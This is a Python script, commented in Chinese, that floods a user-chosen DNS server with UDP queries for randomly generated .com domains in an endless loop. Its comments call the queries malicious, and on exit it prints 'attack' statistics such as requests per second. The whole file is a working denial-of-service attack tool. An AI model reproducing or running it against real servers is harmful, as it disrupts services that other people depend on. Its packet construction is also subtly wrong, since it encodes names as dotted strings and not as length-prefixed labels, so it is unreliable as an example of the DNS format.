import socket
import random
import time

# 用户自定义选项
target_ip = input("请输入目标DNS服务器的IP地址：")
target_port = int(input("请输入目标DNS服务器的端口号："))
query_types = [1, 2, 5, 6]  # 查询类型：1表示A记录查询，2表示NS记录查询，5表示CNAME记录查询，6表示SOA记录查询

# 统计信息
total_requests = 0
success_count = 0
failure_count = 0
start_time = time.time()

# 构造恶意DNS查询请求
def create_dns_query():
    domain = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for _ in range(random.randint(5, 10))) + '.com'  # 随机生成域名
    query_type = random.choice(query_types)  # 随机选择查询类型
    return domain, query_type

# 发送DNS查询请求
def send_dns_query(domain, query_type):
    global total_requests, success_count, failure_count
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        query = bytearray()
        query += b'\x00\x00'  # 标识
        query += b'\x01\x00'  # 标志
        query += b'\x00\x01'  # 问题数
        query += b'\x00\x00'  # 回答数
        query += b'\x00\x00'  # 授权数
        query += b'\x00\x00'  # 额外数
        query += domain.encode()  # 查询域名
        query += b'\x00'  # 结束标志
        query += b'\x00' + bytes([query_type])  # 查询类型
        query += b'\x00\x01'  # 查询类别
        sock.sendto(query, (target_ip, target_port))
        success_count += 1
    except Exception as e:
        print("发送DNS查询请求时发生错误:", e)
        failure_count += 1
    finally:
        total_requests += 1

# 主程序
if __name__ == '__main__':
    try:
        while True:
            domain, query_type = create_dns_query()
            send_dns_query(domain, query_type)
    except KeyboardInterrupt:
        end_time = time.time()
        duration = end_time - start_time
        print(f"攻击完成，总共发送了 {total_requests} 个请求")
        print(f"成功发送的请求数量：{success_count}")
        print(f"失败发送的请求数量：{failure_count}")
        print(f"成功发送请求的百分比：{success_count / total_requests * 100:.2f}%")
        print(f"攻击持续时间：{duration:.2f} 秒")
        print(f"平均每秒发送请求数：{total_requests / duration:.2f} 次/秒")
        print()
        print("按回车键继续...")
        input()
